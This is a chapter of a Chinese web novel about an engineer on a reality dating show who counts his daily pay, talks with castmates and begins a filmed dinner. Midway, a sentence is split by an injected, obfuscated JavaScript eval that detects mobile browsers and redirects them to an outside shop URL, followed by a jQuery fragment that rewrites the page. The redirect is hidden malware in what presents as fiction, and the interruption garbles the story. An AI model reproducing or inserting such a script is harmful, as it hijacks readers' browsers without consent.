4. 脑内的收支平衡表
作品:《误入恋综后,我靠摆烂日薪百万》 单独采访结束后,陈末被带到一间临时休息室。门关上的瞬间,他做的第一件事是掏出手机——节目组发的工作机,一台黑色外壳、没有任何品牌标志的智能手机,功能仅限于接打电话、内部通讯和查看节目日程。
他点开计算器。
从上午九点抵达到现在下午四点十五分,共七小时十五分钟。按日薪一千、每日工作十二小时(合同写的是“录制期间均视为工作时间”)计算,时薪约为83.33元。
七小时十五分钟就是603.75元。
还不错。他靠在沙发上,看着天花板。这间休息室比之前那间小,但依然有落地窗和海景。阳光斜射进来,在地板上切出明亮的光斑。
门外传来脚步声,是几个工作人员经过,交谈声透过门缝漏进来:
“林薇老师的单人镜头补拍完了,效果绝了……”
“王烁那边需要再录一段海边走的……”
“陈末的采访片段导出来没?刘导说要优先剪……”
陈末坐直身体。他的采访片段?优先剪?
他想起刚才采访间里,自己说“为钱而来”时摄像师平静的反应。那不是意外,而是预料之中。节目组早就知道他会这么说?还是说……他们希望他这么说?
手机震动了一下。是内部通讯软件的消息,来自“节目组通知”:
【全体嘉宾请注意:晚餐将于18:30在别墅主餐厅进行,着装随意。晚餐后将有第一次集体活动,请合理安排休息时间。】
集体活动。陈末皱了皱眉。他不知道是什么活动,但根据张伟“别太积极”的叮嘱,他应该表现得……普通一点。不突出,但也不至于拖后腿。
问题是,什么是“普通”的标准?
在运维工程师的世界里,“普通”意味着服务器99.9%的可用性,意味着故障响应时间在SLA(服务等级协议)范围内,意味着代码没有重大bug。这些都是可量化的。
但在镜头前,在这些人中间,“普通”是什么?
门外又传来脚步声,这次停在门口。敲门声。
“请进。”
进来的是小林,她手里拿着一个平板:“陈末老师,这是明天的初步日程,您先看看。”她把平板递过来。
屏幕上是一个简洁的表格:
07:00-08:00 早餐(自助)
09:00-11:00 首次任务分组活动
12:00-13:00 午餐
14:00-17:00 自由活动/单人采访
18:30-19:30 晚餐
20:00-21:30 晚间交流环节
“任务分组活动是什么?”陈末问。
“这个暂时保密。”小林微笑,“导演组希望保持新鲜感。不过您放心,都是很轻松的活动,主要是为了让嘉宾们互相熟悉。”
陈末点点头,把平板还回去。小林离开后,他重新拿出自己的私人手机——节目组允许保留,但要求关机并存放于房间保险箱。他开机,迅速打开备忘录。
标题:《收支记录》。
他新建一个条目:
【8月3日第一天】
预计收入:1000元
实际工时:7.25h(09:00-16:15)
已赚:603.75元
剩余待赚:396.25元
备注:采访片段可能被用作素材,需观察后续剪辑是否会对收入产生影响。合同条款第7.3条:如因嘉宾个人行为导致节目组重大损失,节目组有权扣除部分或全部报酬。
他盯着“重大损失”四个字。什么是重大损失?说错话?表现太差?还是……表现太好?
陈末关掉手机,重新锁回保险箱。他走到窗边,看着外面。从这个角度能看到别墅后方的花园,有工作人员在布置灯光设备,白色的灯架在夕阳下投出长长的影子。
晚餐还有两个多小时。他决定在房间里待着——这是最安全的选择,不会出错,也不会被拍到什么不该拍的。
但五分钟后,敲门声又响了。
这次是楚曦。
她换了身衣服,运动服换成了简单的T恤和短裤,头发湿漉漉的,像是刚洗过澡。手里拿着一个运动水壶。
“在休息?”她问,没等陈末回答就走进来,很自然地坐到沙发上,“我也刚回来,去游了一圈。这里的泳池不错,25米标准池,水温刚好。”
陈末站在原地:“哦。”
“你游泳吗?”楚曦拧开水壶喝了一口。
“会一点。”陈末说。大学时上过游泳课,能游完50米不淹死,仅此而已。
“那明天可以一起。”楚曦说,她放下水壶,打量了一下房间,“你这间看出去是花园啊,我那边是海景。要不要换?我无所谓。”
陈末愣了一下:“不用,谢谢。”
“真不用?”楚曦挑眉,“海景房比较贵吧,在节目里。”
这句话让陈末警觉起来。她是在试探什么吗?还是随口一说?
“我习惯看花园。”他说。
楚曦笑了,那笑容很直接,没什么掩饰:“你这个人挺有意思的。刚才自我介绍,就说那么两句。”
“该说的都说了。”
“也是。”楚曦站起身,走到窗边,和他并肩看着外面,“我来之前也想过怎么自我介绍。经纪人给我准备了三个版本:活泼版、专业版、真诚版。最后我选了最短的那个。”
“为什么?”
“因为懒得记。”楚曦说,她又喝了一口水,“而且我觉得,来这种节目,装也没用。一个月呢,迟早会露出真面目。”
陈末侧头看她。楚曦的侧脸线条分明,鼻梁很高,睫毛很长。她说话时眼神很专注,看着窗外的花园,但陈末能感觉到,她的注意力其实在自己身上。
“你觉得节目组为什么请我来?”楚曦忽然问。
陈末谨慎地回答:“你是奥运冠军。”
“退役的。”楚曦纠正,“而且游泳运动员,说白了就是个体力劳动者。不比你们搞技术的。”
“体育也是技术。”
楚曦转头看他,眼神里闪过一丝惊讶,然后笑了:“你这话我爱听。对了,你刚才说你是运维工程师,具体做什么的?”
又是这个问题。但楚曦问的方式不一样,不是客气,是真的好奇。
“确保公司的在线服务正常运行。”陈末解释,“比如你用的购物APP、视频网站,背后都有服务器。我负责让那些服务器不死机。”
“那如果死机了呢?”
“就修。”
“怎么修?”
“看日志,找原因,重启,或者换机器。”陈末说得很简略,但楚曦听得很认真。
“听起来像医生。”她说,“病人(服务器)病了,你诊断、开药、做手术。”
这个比喻让陈末愣了一下。他从来没这么想过。
“差不多。”他说。
楚曦点点头,没再问。她看着窗外,花园里的灯光一盏盏亮起来了,在渐暗的天色里像散落的星星。
“我该回去了。”她说,走到门口又回头,“晚上见。对了——”
她停顿了一下,像是在斟酌措辞。
“别太紧张。”她说,“这节目再怎么样也就是个节目。我们都是来工作的,对吧?”
陈末点头。
楚曦离开后,房间里重新安静下来。但那种安静和之前不一样了,好像有什么东西被打破了。
陈末重新坐回沙发,打开节目组发的工作机。内部通讯软件上有几条未读消息,都是群发通知。他点开日程表,看着明天的时间安排。
09:00-11:00 首次任务分组活动
分组。和谁一组?会是什么任务?
他想起楚曦的话:“我们都是来工作的。”
是的,都是工作。他拿钱扮演“普通素人”,其他人拿钱扮演“寻找真爱的明星”。本质上没有区别。
但真的是这样吗?
陈末想起林薇说“很久没有‘生活’了”时的表情,想起秦澜简洁到极致的“来学习”,想起苏小雨眼里真诚的好奇,想起楚曦直率的“懒得记”。
他们可能真的是来工作的。但工作之余,或许也期待着别的什么。
而他呢?
手机震动,又一条通知:
【温馨提示:晚餐期间将进行非正式拍摄,请各位嘉宾保持自然状态。导演组不会干预各位的交流内容,请放心交谈。】
自然状态。
陈末关掉手机,站起身。窗外天色已经暗下来了,海的方向变成深蓝色,天空还残留着一抹橙红。花园里的灯光更亮了,能看见有工作人员在调试设备。
他走到镜子前,看着里面的自己。格子衬衫,牛仔裤,头发有点乱。和这个环境格格不入,就像一台Windows 98的电脑被扔进了苹果专卖店。
但他需要留在这里。三十天。三万块。母亲的手术费。
陈末深吸一口气,整理了一下衣领。镜子里的人看起来还是很普通,但眼神里多了点什么——是决心,还是别的什么,他自己也说不清。
晚餐时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990765|193693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间快到了。
他最后检查了一遍房间,确保私人手机已经关机锁好,工作机带在身上。开门前,他停顿了一下,脑子里快速过了一遍张伟的叮嘱:
别太积极。
别抢风头。
当好背景板。
还有他自己加的一条:记住,你是来赚钱的。
然后他推开门,走进走廊。
走廊里已经能听见其他房间开门的声音,脚步声,隐约的说话声。空气里有淡淡的香水味,不知道是谁的。
陈末朝餐厅方向走去。路过一扇开着的门时,他瞥见里面——是王烁的房间,他正在镜子前调整领口,动作流畅得像拍广告。
再往前,是苏小雨的房间门,关着,但能听见里面传来轻轻的哼歌声,是某首流行歌的调子。
走廊尽头,秦澜从房间出来,她已经换了一套衣服,依然是西装,但颜色从深灰换成了浅灰。她看见陈末,点了点头。
“晚上好。”她说。
“晚上好。”陈末说。
两人并肩走向餐厅。秦澜的脚步声很轻,高跟鞋踩在地毯上几乎无声。陈末的帆布鞋则发出轻微的摩擦声。
“期待晚餐吗?”秦澜问,语气像在会议室里问“期待这次合作吗”。
“期待。”陈末说。这是实话,他中午只吃了一片面包,现在饿了。
秦澜看了他一眼,那眼神很短暂,但陈末捕捉到了——里面有一丝评估,一丝好奇,还有一丝……笑意?
餐厅的门开着,里面已经布置好了。长条餐桌,白色桌布,精致的餐具。暖黄色的灯光,桌上摆着鲜花和蜡烛。
林薇已经到了,坐在餐桌一端。她换了件米白色的针织衫,长发散下来,在灯光下泛着柔光。看见他们进来,她抬起眼,目光在陈末身上停留了一瞬。
然后是苏小雨,蹦蹦跳跳地进来,嘴里还在哼歌。楚曦跟在后面,头发扎起来了,露出光洁的额头。
最后是王烁,他准时出现,笑容完美,仿佛刚才在房间里调整领口的不是他。
六个人到齐了。
工作人员在角落比了个手势——录制开始了。
陈末在离自己最近的座位坐下。左边是楚曦,右边是秦澜。对面是苏小雨和王烁,林薇在长桌另一端。
晚餐是西餐,前菜已经摆好。每个人面前都有一杯水,和一杯红酒。
“大家随意。”王烁说,他举起水杯,“第一天,以水代酒,庆祝我们相聚。”
其他人都举杯。陈末也举起来。
杯子碰撞发出清脆的声响。在灯光下,水晶杯折射出细碎的光。
陈末喝了一口水,开始思考:这顿晚餐,应该算在工作时间内。
那么从18:30到19:30,又是一个小时。83.33元。
他切了一小块前菜——好像是某种鱼生,口感冰凉清爽——放进嘴里。
然后他听见林薇的声音,很轻,但很清晰:
“陈末。”
陈末抬头。长桌另一端,林薇正看着他。灯光在她眼里映出两点暖光。
“嗯?”他说。
“你白天说,最近在看《Linux服务器运维实战》。”林薇说,她的手指轻轻点着水杯边缘,“那本书,好看吗?”
问题很突然。所有人都看向陈末。
陈末放下叉子。他感觉到六道目光落在自己身上,还有角落里至少两个摄像机的镜头。
他想说“就是工作用书”,想说“没什么好看的”,想说点安全的话。
但不知为什么,他开口说的是:
“第7章讲故障排查,写得不错。第12章的案例过时了。”
话音落下,餐桌安静了一瞬。
然后楚曦笑出声:“你还真看了啊!”
秦澜的嘴角也扬了起来。
苏小雨眼睛亮晶晶的:“好专业的感觉!”
王烁保持着微笑,但陈末注意到,他握着水杯的手指稍微收紧了一点。
而林薇,她看着陈末,眼里那两点暖光闪烁了一下。
“是吗。”她说,语气很平淡。但她拿起叉子,又放下,这个动作重复了两次,像是在思考什么。
然后她问出了第二个问题:
“那你觉得,人如果出故障了,该怎么排查?”
问题落下的瞬间,陈末看见导演组的刘导从餐厅门口探了下头,又迅速缩回去。
那动作太快了,但陈末捕捉到了。
还有刘导脸上的表情——不是意外,而是期待。
仿佛这个问题,这个场景,早就在他的预料之中。

